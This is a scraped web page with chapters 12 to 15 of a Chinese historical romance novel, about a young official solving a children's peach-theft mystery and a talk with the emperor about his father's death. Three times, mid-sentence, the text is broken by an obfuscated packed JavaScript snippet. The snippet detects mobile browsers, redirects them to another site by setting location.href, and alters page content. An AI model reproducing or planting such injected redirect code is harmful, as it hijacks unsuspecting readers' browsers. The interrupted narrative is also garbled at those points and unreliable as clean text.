眼角余光瞥到那抹鹅黄贴近,看到她细软的发顶,顾明池忍不住伸手摸了两下,然后与老板继续交流道:“自东盛与西漠成为友邦,西漠的货物在东盛便不似前些年那般稀有,这酒壶工艺不错,但论材质还是差了些,六十六两白银,你这心可比墨汁还要黑了。” 听了顾明池的问话,老板讪讪一笑道:“这不是要给客人还价的余地嘛......五十两也是这位小客人自己认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾明池领着阮歆梨漫无目的的走着,想起方才她在店中与老板的对话,顾明池瞳眸微烁,向身边还沉浸在哀愁的小姑娘套话道:“方才老板说琉璃盏可能是神器,你为何猜测它有辨吉凶的功效?” 只见刚刚还在沉思的小姑娘神情一顿,扑扇了两下睫毛语气天真道:“就......瞎猜的呀!小书里都是这么写的!哈!哈!” 眼神乱飘,语气变虚,笑声刻意。 一连表现出三种撒谎特征,顾明池不禁勾起了唇角,看来他送的这个琉璃盏,如今当真有了些秘密。 生怕暴露琉璃盏显灵一事的阮歆梨,心虚地低头快走,没几步便听到了不远处的几声争辩—— “吾是谛听,可坐地听八百,卧耳听三千。能听辨世间万物,擅长洞悉人心善恶,尔等休想在吾面前撒谎!” “可是你说得就是不对!这桃子根本就不是我偷的!” “什么谛听!玩个游戏你还当了真?没偷就是没偷,你少污蔑人!再乱说,我就要揍你了!” 声音有些耳熟,阮歆梨歪头看向被墙面遮挡的小巷内,只见几个同龄人聚在一起正推搡争吵。 真是巧了,那三个正在拉扯的同龄人,不正是给她指路的少年么? 12. 第 12 章 小巷口的吵闹声也引起了顾明池的注意。他只瞥了一眼,发现只是几个小少年闹矛盾便没再多看。 他悠闲地迈着步子,在心中盘算着先把身旁的小不点送回家,然后再去大理寺找张大人喝杯闲茶......嗯? 感觉步子越走越重的顾明池回头一看,原来是自己身后长了一条小尾巴。 先前还走在他身侧的阮歆梨,这会正扯着他的后衣襟站在身后,她晃了晃他的衣襟指着那群吵闹的少年道:“我们过去看看吧。” 顾明池又看了一眼巷口,脚下纹丝不动。 阮歆梨盯着顾明池的面容看了片刻,他轻垂着眼帘,神情和她阿爹每次想理由要拒绝她时一样。 顾明池刚刚想好拒绝的理由准备开口,眼前的小姑娘倏然眉眼弯成了两道月牙,她的嘴角微微上扬,露出两颗小巧的虎牙道:“哥哥,陪阿梨去看一看吧,那边有阿梨的伙伴!” 小姑娘的声音清脆悦耳,笑容纯净,就如初熟的桃子,带着一股天真无邪的天意。 “......好。” 听到应允声,阮歆梨一转身扯着顾明池的衣襟带着就往吵闹处走。 顾明池被拽得一趔趄,直到站在了一群小孩堆里才逐渐回过神,他不禁抬手按了按自己的眉心。 也不知是那一声“哥哥”的功效,还是小姑娘的笑容所感染,顾明池突然觉得,她要是刑部尚书,他大概会在官衙里忙得猪狗不如。 实在是有点难以拒绝,但......感觉也还不错。 “说了不是他偷的,你真是不可理喻!” 少年们扭打着撞了过来,阮歆梨反应极快地拽着顾明池的衣襟将他转了半圈,自己躲到了他的身后。 被当成肉盾承载了三个少年重量的顾明池:“......” 行吧,也不是很傻,至少知道拉人当盾,自己躲起来。 三个少年纠缠在一起谁也不肯松手。顾明池看准三人的手腕,一人赏了一扇子! 扇子抽回的瞬间,三个少年皆捂着手腕龇牙咧嘴地退了开来,原本对彼此的怒火全转移到了眼前的顾明池身上。 啧,多么明显的狗拿耗子多管闲事! 顾明池从身后拉出闹着要来的阮歆梨,将她往前送了送道:“你的伙伴好像不太乐意被打断决斗,你自己处理吧。” 说完,顾明池还真背着手靠到了一旁的围墙上。 先前的指路少年最先看到沈良朝脸上的淤青,当即紧张询问道:“沈哥!你的脸没事吧?” 早在顾明池动手时,沈良朝就留意到了他身后的阮歆梨,若不是因为看到了那身鹅黄衣裙,他也不会挨了街东那小子一肘击! 沈良朝舔了舔自己带着些腥味的后槽牙,疼得脸皮都跟着一哆嗦。他瞥了眼同样盯着他打量伤情的阮歆梨,挺了腰板镇定道:“一点小伤,有什么大惊小......嘶......怪的!” 沈良朝抖着腮帮吞回了短暂的嘶痛声,墙边突然传来一声低笑,他瞪着眼看了过去! 收到眼刀的顾明池抬手拉下了自己扬起的嘴角,然后正了正脸色,一本正经地对着沈良朝竖起了拇指。 少年,硬汉,好样的! 明明是赞赏的动作,沈良朝却觉得那人笑得更大声了! 心里不痛快,他板着一张脸显出几分凶悍。 阮歆梨正想着先前就觉得这锦袍少年不好惹,现在一看果然是个小刺头。 结果臭着脸的“小刺头”,一张口却是忸怩又小声:“你......找到奇珍阁了么?需要我......我带路么?” 话一出口,连沈良朝自己都有些诧异,不争气地温软声,连他自己都听不下去,臊得脸颊通红。 阮歆梨眨了眨眼。 好奇怪的人! 看起来冰冷高傲,怎么说话软绵绵的。身体好像也不是很康健,寒风一吹就面红。 这大概就是她娘说的中看不中用。 方才扮演谛听的少年急了:“游戏还没结束!我说偷桃子的就是阿成!快把桃子交出来!” 几个少年又叽叽歪歪吵了起来,一旁的顾明池抬头望了望眼前这棵歪脖子桃树。 他算是听明白了,原来就是树上这几颗青涩生桃惹得祸。 原本五个少年在巷口处同玩,玩了片刻却发现树上的桃突然少了。因为怀疑是同伴中有人偷吃,所以他们就在此升起了堂,结果扮演大理寺卿也没断出案,还把神兽“谛听”都拉了出来。 小孩子扮家家酒。 顾明池低头瞥了树根处一眼,又打量了一圈少年们的鞋边,随即一笑,闲着看起了热闹。 相比顾明池的兴味索然,阮歆梨则是激动得要命。 听到他们是在找偷桃人,她立刻加入了这个临时组成的“草台衙门”。 “你为什么说桃子是他偷的?”阮歆梨不解地看向那个扮演谛听的少年。 “因为刚才我们玩抓逃犯,只有他跑丢了,有时间作案!” “你放屁!”沈良朝又捏起了拳头,刚想动手,又想到了身边的阮歆梨,忍了脾气辩论道:“阿成一直躲在竹筐里,竹筐上堆着杂货做伪装,都是我亲手堆上去的!他不可能自己推开出来偷桃!” 那就是有不在场证明了。 阮歆梨看向“谛听”道:“他被困在竹筐里,也就没有了作案时间,你判错了。” “那......不是他,也是你们三个中的某一个做的!” “谛听”又胡乱指向其他三人,先前指路少年匆忙摆手道:“不可能是我们!我们三个人一直在一起,可以互相作证!” 各有各的证据,不服气的“谛听”开始耍起无赖:“那我扮演谛听,就是可以听见心声!从一开始他就神情紧张,摸他心脉跳得也是飞快,肯定是他心虚!偷桃子的就是他!” 阮歆梨没理会他的喊叫,只是弯腰凑到阿成的手边嗅了几下,在众人还没反应过来之时,她又突然伸了脖颈往阿成的唇畔凑去—— “你这是做什么!” 沈良朝惊呼着准备上前拉开阮歆梨,另一道月白身影从墙边闪了过来! 就差一点便能嗅到阿成脸庞的阮歆梨,只觉鼻尖前凉风一阵,紧跟着便闻到一缕淡雅清香。眼前云山飞鸟,是顾明池手中扇面上的景。 云山倏然驰远,阮歆梨保持着歪头的姿势有些茫然,顾明池已经用扇面按着阿成的半边侧脸将人远远隔了过去。 “哥哥,你这是做什么?阿梨还没有嗅到他身上的味道.......呀!” 脑袋上突然挨了一记敲打,阮歆梨委屈地看向了神情略微严肃的顾明池。 “嗅味道也不是这么个嗅法,你!”顾明池犹豫一顿,看了看周围的几个少年,后面训斥的话也没说出口。 “总之,不能这么去贴近人闻味道。”眼见小姑娘的细眉轻扬,知道她又要辩解的顾明池抢先道:“等回去你问你爹娘便明白了。” 两瓣小嘴耷拉着,显然小姑娘还是想不通十分委屈。 顾明池不禁开始有些佩服阮怀轩,每日对着这样一个“小麻烦精”, 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“你刚刚嗅桃香,这种方法要想成功,前提是偷桃的人已经吃了桃且时间不久。”顾明池指了指树上的青涩生桃道:“如今桃树也不过刚刚结果,味道酸涩难以下咽,那偷桃小贼至多咬上一口,定是尝了味就丢了桃,不会整颗吃下去。” 少年少女们一同抬头望向桃树,看着树上还是青皮的桃子,口齿间竟真的泛起了一阵涩麻之感。 “但是残桃又不能随便乱扔,看这桃树栽种的位置,应当是这户人家所种。” “是我家的桃树!”扮做谛听的少年急急道:“这是我阿爹种下的!他还特意交代过我,不能偷吃!” 顾明池笑着望向他道:“那你怎么还不听你爹的话,桃子还没熟就急摘着吃,好好的桃都糟蹋了。” 少年倏然脸红,他躲闪着眼神支吾道:“你......你胡说什么,我才没有偷桃子!” 顾明池示意崔参将树根下那块新翻的泥土刨开,他指了指少年的鞋子道:“你尝完发现没熟,又怕被人发现你偷吃,便把啃了一半的桃子埋在了树下。前几日下了场春雪,如今雪消,土壤湿润,你的鞋底还沾着踩踏时留下的泥土。” 少年低头看向自己的鞋,果然鞋边处还黏着湿润的泥土! 树下,崔参已将小坑挖开,那两颗尚未成熟的青桃果真埋在其中,上面还因着两排牙印。 顾明池接过崔参手中的树枝,点了点桃上牙印道:“桃上的牙印,上排门牙处缺了一颗......” “罪证确凿!”顾明池丢开树枝,拍去手上沾染的尘土道:“缺了门牙的谛听小朋友,你还有什么想说的么?” 被点名的少年捂着嘴巴神情惊慌,剩下的几人这才反应过来—— “好厉害啊!” 掌声啪啪响起,从未有过这种体验的顾明池一时有些怔愣。 “老大!以后你就是我们的老大!”沈良朝亮着眼眸也没了先前的桀骜模样,望向顾明池的眼神满是崇拜。 少年们一句接一句的夸赞,让顾明池难得的红了耳尖。 他弯腰看向握着双手瞳眸晶亮的阮歆梨,突然有些期待她会如何夸他....... 阮歆梨激动地捏紧了小手,看着弯腰微笑的顾明池道:“獬豸!你就是獬豸!” 顾明池的笑容一僵。 獬豸?刑部官衙门口的那个独角看门兽? 除夕是狐妖,现在又是獬豸。 合着他在她眼中就没像过人是吧? 13. 第 13 章 一个偷桃案,顾明池成为了这群少年眼中的青天大老爷。 特别是沈良朝和阮歆梨,两人看向顾明池的目光都在放射满天星辰。 崔参在一旁看得乐呵,不禁打趣道:“大人,您这是成孩子王了!还记得小时候也是这样,营里的孩子都喜欢跟着您后面玩,夫人说您是皮猴,老侯爷却不以为然,每次都气得夫人直瞪他......” 崔参倏然停了话语,他偷偷看了眼顾明池的脸色,一时有些懊悔。 “我爹是武将,所以觉得小孩子就该活泼一点,那样才会皮实。”顾明池低垂着眼眸轻笑着:“但是我娘出自书香世家,她觉得端方行止需要从小培养。所以在教育孩子方面,他俩总是会闹两句。” “如今我不在他们身边,他俩应该也可以少吵一些了。” 说到这,顾明池沉默了片刻道:“如果真能黄泉相伴的话,应是如此。” 崔参不知该如何接话,等顾明池转身时,暗暗抽了自己一个嘴巴子。 脑子追不上嘴! “这个哥哥,你为什么要抽自己一个耳光呀?”崔参低头一看,阮歆梨站在他旁边,神情满是不可思议。 还没等崔参想好该怎么回答,她指了指已经快走出巷口的顾明池道:“那个哥哥他怎么了?看起来好像不太开心。” 崔参揉了揉自己的脸,看着那道独自慢走出去的身影,叹出一口长气道:“大概是想他的父母了。” “既然是想爹娘了,那就回家嘛!回家就能见到了,为什么要不开心?” 在阮歆梨的认知里,回到家就能见到爹娘,她便是如此。 跟在她身侧的沈良朝倒是情绪低了许多,他望着顾明池的身影道:“不是每个人回到家都能见到自己的爹娘。有的时候可能你想他们,都不知道该想象什么样的面容。” 阮歆梨五官微皱,沈良朝的话比崔参的话还难听明白。 崔参对于少年的回答有些讶异,短暂思考了片刻,他似有所知,抬手轻轻拍了拍这个突然变深沉了的少年,以作安抚。 “小鸭梨!你还走不走?” 已经快走到南街口的顾明池突然回头勾手,阮歆梨看看左右,偏头向崔参咨询道:“他在喊什么?” 崔参的视线在阮歆梨身上打量了一圈:“他在喊‘小鸭梨’。” 阮歆梨前后看了一圈疑惑道:“树上没有梨,现在这个季节也不会长出梨子,他看错了!我去告诉他!” 穿着鹅黄小袄的阮歆梨拎着裙摆往前小跑,小小的脑袋,蓬蓬的衣边,奔跑时会微微鼓起的同色裙裾,再加上小姑娘总是弯弯的眉眼,顾明池越看越觉得自己这个代号找的太贴切了! 不仅外形像,内在也像。 纯净、清甜,甜到可以驱走所有萦绕在心头的苦意。 “獬豸哥哥!你刚刚看错了,这边没有鸭梨!” 刚刚见证顾明池破了一场“奇案”,此时,阮歆梨对他的崇拜正是巅峰,帮忙纠正这个小错误时,她也是眯弯着双眼,声音格外甜脆。 “是么?”顾明池噙笑低头,目光绕着阮歆梨自上而下道:“嫩黄的外皮,小脑袋,宽裙摆,没看错啊!” 嗯? 阮歆梨低头看了看自己的鹅黄小袄,又踢了踢脚,看了看自己的嫩黄裙边。 哦,鸭梨是她。 原本弯弯向上的眼尾与唇角同时一落,阮歆梨努了下嘴,捂紧自己有些漏风的小斗篷走了。 生起气时,即使是两条小短腿也能走得飞快。顾明池跟着追了两步才跟近道:“生气了?鸭梨不好么?你不是也叫我獬豸么?” 阮歆梨停下脚步道:“獬豸能辩是非,是很公正的好神兽!” 顾明池看着昂首叉腰的小姑娘,抱着手臂微微弯腰道:“鸭梨清香甘甜还能入药,也是很好的水果!” 阮歆梨张了张嘴,片刻后又闭上了。 说得好有道理,竟然想不到反驳的话! “小鸭梨”吃了鳖,转着眼珠子边走边想辩驳的话,直到走出南街市,还是没想出任何理由,甚至觉得“獬豸”说得还有几分道理。 算了,想不到理由就不想了! 反正阿梨和鸭梨也就差了一个字! 小姑娘的自我治愈力很强,不过几步路的时间,便从下弯嘴角又变回了上弯眼尾。 顾明池看着转瞬即晴的阮歆梨,笑着摇了摇头。 突然又有些能理解都堂里的那几位年轻同僚,为什么在说起自家小妹时总是眉飞色舞了。 “......所以,树在道边而多子,此必苦李。” 南街市外的大树下端坐着一位布衣老者,他捻着灰白的胡须温和慢声地说着故事,几个孩童围在他身侧,听得津津有味。 老人家说故事不急不缓,一段内容告落,如果有人提问,他也会耐着性子认真听讲,为他解答。 “沈爷爷!道边多李子是苦的,那道边要是多桃子,是不是桃子就是酸涩的?” 听完故事的孩子好奇提问,那位老者笑着摸了摸他的脑袋道:“你很擅长思考,举一反三,慧也。” 看到同伴得了夸奖,其他孩子也争先恐后地提问等候老者的表扬。 阮歆梨思考了一会,看向顾明池道:“所以刚才街市边的桃树上也是多子,不用尝也能判断出来它不好吃。” 修眉轻挑,顾明池学着老者的姿势摸了摸阮歆梨的脑袋道:“小鸭梨也很擅长思考,举一反三,慧也。” 听到前半句话,阮歆梨的嘴角泄了几分,但是听到后半句的表扬,神情又立刻明亮起来。 留意到这边的动静,老者的目光转了过来,看清一大一小后,他轻轻拍了拍周围的孩童让他们先自行玩耍,然后起身走了过来。 “明池。” 听到老者唤自己,顾明池恭敬行礼道:“见过沈太傅。” 在顾明池扶手弓腰前,沈太傅已经先一步扶住他的双手,含笑温声道:“这里又不是朝堂,我们师徒二人还需这么见外么?” 顾明池也不再客气,直起身低眉笑道:“是,都听您的。” 留意到身边还有一个小姑娘,沈太傅低眸看了片刻,随后含笑道:“这是林将军家的小姑娘吧?我记得是叫阮......歆梨?” 发现老人家认识自己和阿娘,阮歆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142377|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梨又高兴了几分:“是的!沈爷爷可以叫我阿梨!” 不怕生,不怯场,言行举止落落大方。 沈太傅不禁长笑道:“不错,阿梨是个好姑娘!这乍一看像知闲,但乌眸灵动,性子活泼,倒是更似她的娘亲了。” “阮歆梨......”晚来了几步的沈良朝正好听到沈太傅念阮歆梨的名字,他不禁喃喃低语道:“阿梨,原来她是林将军的女儿。” 看到不远处的沈良朝,沈太傅微微诧异,随后浅笑招手道:“良朝?来得正好,我给你介绍一下。” 沈良朝慢慢挪到沈太傅身侧,沈太傅搭着他的肩头向顾明池他们介绍道:“这是我的孙子,沈良朝。明池,你当是见过的。” 顾明池怔了片刻,看着锦袍少年恍然道:“难怪,方才见他眉眼深邃,总觉得有几分眼熟,如今才反应过来,是与您相似。明池倒是有些年没见过良朝了。” “是,上次见面还是你高中状元之时。”沈太傅轻声喟然:“那时候你也还是个小小少年,也就如良朝这般大,一晃竟有五年了......” “我叫阮歆梨!你好呀!”见沈太傅在介绍大家,阮歆梨主动抬手和沈良朝打起了招呼。 “你......你,你好,我叫......沈良朝。” 沈良朝绷紧着脸,低垂着眼眸四下乱瞟,话说到最后竟小得只剩气音,双耳红得滴血。 阮歆梨觉得有些奇怪,她也没得罪过沈良朝,不知道为什么他总是说话不看她,绷紧着面庞说话也很低沉。 但是如果说讨厌她,刚刚又为什么会关心她有没有找到奇珍阁,还说要给她带路? “你是讨厌阿梨么?” 有疑问就要说出来,不能不懂装懂。 于是阮歆梨直白地问了出来。 沈良朝呆愣了一下,随即爆红了脸匆忙摆手道:“不不......不!没有!我不讨厌你,我......” 喜欢又说不出口,沈良朝脸脖颈都粗红了起来,索性一偏头,谁也不看,不吱声了。 沈太傅瞥了眼自家的孙子,又看了看阮歆梨,朗声一笑道:“别误会,良朝是喜欢你,他很想和你做朋友。而且你娘一直是他心中很崇拜的人。” 阮歆梨低歪着头看向了沈良朝。 想做好朋友?崇拜她的阿娘? 阮歆梨观察了许久,怎么看都不觉沈良朝有这样的想法。 知道自家孙子脸皮薄,沈太傅拍了拍他的脑袋,向阮歆梨笑道:“罢了,往后你与良朝时常相处,自然就明白了。” “时常相处?” 沈太傅点点头道:“怎么,你阿娘还没告诉你么?等到今年五月......” “阮歆梨!你是不是皮痒了!” 沈太傅话还没说完,一道青影直接冲了过来,抓着阮歆梨的后领就是一顿数落:“说好的买好书就来找我,你竟然自己偷偷溜走了!本来我还想着你马上要入盛京院了,今天便带你好好玩一玩!” 阮怀轩气得面色铁青,弯了腰一字一顿道:“现在跟我回家!到入盛京院学习前,你!都!别!想!再!出!门!了!!!” 14. 第 14 章 一直到此刻,阮歆梨都还没有回过神。 怎么会这样?她还只是个孩子,怎么就要去盛京院读书了? “阮歆梨,我看你就是把我的话当耳旁风!去年你说要去看灯会,出门前说得好好的,你一定不乱跑,会好好跟着云嬷嬷,结果刚到街市你就跑没影了,还差点被人拐出京!你说你怎么就这么不长记性!” 林枝意连软甲都没来得及脱,这会抓着马鞭已经连着训了半个时辰。她忍着火气等着自家这个不靠谱的皮猴老实认错,结果半天也没动静,一直垂着脑袋不吱声,看起来格外乖巧可怜。 蓬松细软的发髻也随着她的脑袋耷拉着,林枝意轻轻吸了一口气,突然又有些心软,开始思考是不是自己太凶了些。 她偏头看了眼旁边一直不语的阮知闲,阮知闲微微叹气,指了指阮歆梨,示意林枝意上前好好谈谈。 实在是太气人了! 林枝意冷眉横着眼,心里却是担心远大于恼火。连着瞟了女儿好几眼,见她一直垂着脑袋不说话,最终还是不忍心再凶下去,准备听阮知闲的话,和她好好讲讲道理。 将手中马鞭交给一旁的阮怀轩,林枝意蹲下身,努力调整了一下自己的表情,试图挤出一些和善的笑容,好不容易神情缓和了些,她抬眸一看,火气蹭得一下又上来了! 平时晶亮的乌眸这会毫无焦点,两瓣粉唇微微张着,显然是一副出神状态! 合着她搁那训了半天,这小魔王一个字都没听进去! 林枝意起身就拿了马鞭,高高举了起来—— 没人阻拦。 林枝意动了动手臂,还是没人动。 凳子上的小魔王还在魂游,旁边两个大的,也都旁观看着,毫无动静。 下不去手又下不来台的林枝意,进也不是,退也不是。 还是云嬷嬷心里急,赶紧上前拉住了林枝意,扶着她坐到一旁的凳子上:“将军消消气,奴婢知道您是担心小姐的安全,训了这么久,想必小姐也是明白的!如今人没事,平安回来就好!” “她明白?她明白个鬼!”林枝意一把抓过桌案上的茶杯喝了几口,润好嗓子,气得冷哼一声道:“她是运气好,今天遇到了顾大人和沈太傅。不然我又得像去年那样,骑着马满京城四处找她!” 想了想还不解气,她又看向同样脸色铁青的阮怀轩道:“你也是!阿梨不懂事,你这个做哥哥的也马虎!她那一堆花花肠子,你也敢坐门口喝茶等她?” 怀了一肚子气的阮怀轩也无法反驳,从发现阮歆梨不见了,再到找到她,这一路他都是心如焚烧。 直到现在,他也是又恼又怕又懊悔。 “好了枫娘,消消气。” 阮知闲替林枝意卸下紧缚的护腕,慢慢为她揉捏舒缓着,他低垂着眼眸神色平静,张口却甚是严厉:“阿梨有错,你这个做哥哥的也有错,你们阿娘训得对。阿梨禁足一个月,怀轩你便抄一遍《论语》吧。” “是。” 阮知闲瞥了眼还在低头发呆的阮歆梨,提了声量点她道:“阿梨,你这段时间就老老实实在家习字,等一个月后盛京院开院,你就好好去听先生讲课学习,听见了没?” 又一次被提醒要去盛京院学习,阮歆梨终于有了反应。 垮着一张小脸泫然欲泣道:“阿梨真的要去盛京院么?可不可以不去......” “不行!你必须去!” 林枝意一拍桌,不容拒绝道:“前几日我便已经和盛京院的杨司业说好了。这次去,只珍儿一人陪你,上六休一,听学的那几日,你就老老实实地给我待在盛京院里学习!” “上六休一?什么意思?阿梨要在书院孤零零地待六天才能回家么!” 一张小桃花颜,露水都快滴落下来。 眼见小祖宗快哭了,云嬷嬷赶紧哄道:“怎么会是孤零零呢?盛京院里还有许多和小姐您差不多大的公子小姐。” “行了,哭也没用!当初就该听你阿爹的,早些把你送进盛京院好好管教管教!”林枝意望了眼屋外,向云嬷嬷示意道:“好了,时间也不早了,你带阿梨回去休息吧,她要是闹腾就随她闹腾!” 阮歆梨委屈地瘪着嘴,趴在云嬷嬷的肩头被抱了回去。 阮怀轩行了一礼,也跟着退了出去。 屋中瞬间清净了不少,林枝意气得直摇头,半晌后才又叹气道:“真是无法无天......” “好了,气多伤身,小心你的旧伤。”阮知闲替林枝意把了下脉,随后安心闲聊道:“盛京院的王祭酒丁忧,祭酒一位空闲,如今开院在即,是安排好了新祭酒么?” 林枝意起身卸了软甲,转着脖颈回话道:“陛下的意思是,王祭酒在盛京院任职多年,也是今下最适合这个职位之人,所以想保留祭酒之位等他回来,于是就托沈太傅暂管祭酒之责。” “沈太傅?”阮知闲有些惊讶:“沈太傅一直在东宫教习,又如何去管理盛京院?” “这次太子也会入盛京院读书。” “太子也去?”阮知闲眉头皱了一下:“太子入学盛京院,这倒是没想到......且不说习得什么,单说安全,陛下与皇后便不担忧么?” 林枝意叹了口气道:“朝中大臣也是这么劝陛下的,但陛下铁了心要让太子入盛京院,说什么‘独学者其思固也’,和沈太傅一合计,就让他们师徒俩都去了盛京院。” “至于安全问题,除了本身盛京院的护卫和东宫的禁卫军,陛下又从我手下调了一支精兵队过去。”林枝意靠到一旁的桌案挑眉道:“我觉得按着这个守卫程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142378|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度,太子的安全应当无大碍。而且,今年盛京院新入的学官也是文武双全。” “哦?能被你评价文武双全,看来也不是什么花拳绣腿了。” 阮知闲突然有些好奇,今年新入的学官究竟是何人。 突然安静的夜声里传来些微车马行动的声音。林枝意竖耳听了片刻道:“看来陛下准备定下那位新学官了。” 盛京院的学生都是京中显贵的子女,为了培养新的人才,院中学官时常会选用京中才情兼备的合适官员兼任。 阮知闲也听到了府外的车马声,随后一笑道:“东盛第一才子,最年轻的状元。那日他能在你手下过上多招,他的确合适。” 林枝意抻了个懒腰道:“我才不管他才华多少,只要能管住我们家那个皮猴就好!” 阮知闲也不禁摇头笑道:“阿梨什么样,你又不是不清楚。况且只靠管教可不行,得她自己能懂些事。不然这位顾先生再厉害,还能管她一辈子不成?” 林枝意啧了一声:“好像是这个道理!不说了,早些休息!我明日一早还要去营中。” 正在收拾书桌的阮知闲回首道:“明日不是休息么?” 林枝意往床上仰躺道:“是,但是有位老朋友......你应当有印象,就是我在北境时的薛副将,他先前陛下特批回京养伤,躺了小半年了,最近说休养得浑身不自在,想去营中的校场跑马,我去陪陪他。” “原来如此。” 回想着林枝意口中的那位薛副将,阮知闲若有所思。 * 崇和殿内—— 景明帝斜倚着扶手,看向顾明池笑道:“明池,你意下如何?” 这会殿内只君臣二人,景明帝随意亲和,顾明池也甚是轻松,他摇头笑答道:“不如何,您这是交给臣一份烫手活。” “怎么就烫手了?”景明帝笑道:“都是半大少年,与你年龄相差不多,你们应当很好相处。” 顾明池伸出一只手,五根手指不够,他又补出一根手指道:“盛京院对男子入学要求为年十二,臣与他们相差六岁,若是再考虑上女子入学,年十岁......” 他又添了两个手指道:“那就是相差八岁,这个‘相差不多’,实在是有些说不过去。” 顾明池思索了片刻道:“而且臣家中并无弟妹,只怕是入了盛京院也不知该如何与这些少年们相处,陛下还是另寻更有经验者,最为稳妥。” 景明帝点了点脸侧没说话,盯了顾明池片刻才低沉着声道:“听林将军说,你的武艺练得不错。” 顾明池垂眸镇定道:“林将军过奖了,只不过是强身健体的小花招。” 半晌后,明黄桌案后才传来一道轻叹:“明池,你老实说,你是不是还在怀疑你父亲的死因? 15. 第 15 章 顾明池虽然年纪轻,但在朝中关系甚广,朝中老臣对他尤其偏爱。 一来他确实年少有为,众臣对他甚是欣赏;二来则是老臣们有些私心,对这个自幼便没了父母的天才格外关怀。 顾明池的父亲本是个泥腿子,乱世中遇到了年少有雄心的景明帝,之后便一直追随于他,从一个被奴役修筑行宫的工匠,成为了名震四方的大将军。后来东盛重归安宁,景明帝登基,封其为肃远侯。 然而好景不长,肃远侯因常年战场厮杀,旧病陈伤累积,最终还是因为旧患发作,不治而亡。 肃远侯的夫人容氏,乃是书香世家的嫡女。夫妻二人一直感情深厚,肃远侯死后,她便一直郁郁寡欢。 元和八年除夕之夜,容氏终是没有从丧夫之痛中走出,于肃远侯府中自缢。 那一年顾明池方才十岁。 无论是肃远侯还是其夫人,逝世之后满朝叹息。 景明帝震惊悲痛之余,也怀疑过他们的死因,特令刑部、大理寺、盛京府三方细查,但查询结果皆无异常。 最终夫妻二人都被认定为正常死亡,但是年幼的顾明池并不这么认为。 尤其是他的母亲自缢后,他对肃远侯的死因更是怀疑。然而实在是没有任何证据可以佐证他的怀疑,倔强的顾明池这才渐渐放弃。从此对肃远侯夫妇的死因,闭口不提。 如今景明帝重提此事,顾明池垂着眉眼默不作声。 看到他那副镇定倔强的模样,景明帝心中又何尝不明白? 静默对立许久,景明帝终是耐不过这个旧友遗孤,轻声叹息道:“晟安兄离世,我当时也是难以接受,也如你这般,怀疑过他真正的死因,若他当真死因有异,我定是不会放过害他之人!” “但是大理寺他们已反复验查多次,相关卷宗想必你入职刑部后也翻了个遍。晟安兄确实是死于旧疾复发。” 景明帝眼含愁绪,看着顾明池有些担忧道:“明池,莫要像你母亲一样陷在其中。我一直将你当作亲生之子,这些年见你如此,我也很害怕。” 景明帝从桌案后缓步走出,行至顾明池身侧轻轻拍了拍他的肩膀道:“我和你的父母一样,只希望你的余生能轻松快乐,而不是困于过去,总是孤寂自封。” 没摆帝王之驾,景明帝这一番话也是发自肺腑。 顾明池明白景明帝对他的关怀,半晌后才舒了眉眼缓声道:“明池并非钻牛角尖之人,也不会一直困于过往,还请您放心。” 狡猾的倔驴一头! 景明帝明白顾明池这都是唬他的话,当即毫不犹豫地拆穿道:“你敢说你没再追查?那我问你,你为何对暗鸢楼的事情那般了解?” “你跟我老实交代,你是不是怀疑你父亲的死与北寒人有关?” 顾明池沉默着。 景明帝也不容他反驳道:“前些时候你日日在刑部官衙里熬守,杜佥事那个案子的卷宗也快背下来了吧?” 明白瞒不过景明帝,顾明池实诚认道:“差不多,倒也没背下来。” 景明帝一声冷哼,背手踱了两步,与顾明池交谈道:“杜家一案,后来大理寺在清理现场时又发现了被烧毁的宁河辎重分存图残页及大量的银票残骸。好在经过确认,杜府这张是已经废弃的图纸。” “真实的也好,废弃的也罢。根据现场情况来看,杜府中有人意欲买卖东盛的军备信息,这一点毋庸置疑。” 一想到有人想要破坏如今的安宁,景明帝不禁眉头深锁:“那日若非你辨出暗鸢楼的令牌为假,那东盛与北寒如今的友好形势,必然要再入僵局。” 顾明池掀眸观察了景明帝的神色,斟酌询问道:“陛下信任北寒么?” 景明帝缓缓摇头道:“朕自是不希望此事是北寒所为。权衡利弊,也就如林将军那日所言,如今和北寒重燃战火,对北寒也无利。只是事及邻国,又不得不多多考量。” 顾明池颔首不语,景明帝回头看了他一眼道:“朕知道你对你父亲的死因存疑,对北寒也心有怀疑,所以对于杜佥事一案格外关注。” “以你的倔脾气,拦你,也不过会让你藏得更深些,丝毫不能动摇你想查下去的心。”景明帝面色深沉道:“你想查,朕不拦你。但是你得答应朕,无论查到什么,都不能轻举妄动,更不能做危险的事。” “你是朕看大的孩子,也是晟安兄唯一的子嗣。”景明帝长吁一气,拍了拍顾明池的肩膀道:“朕不希望看到你出任何事情。” 顾明池眸光轻动,俯身行礼道:“陛下放心,明池明白。” 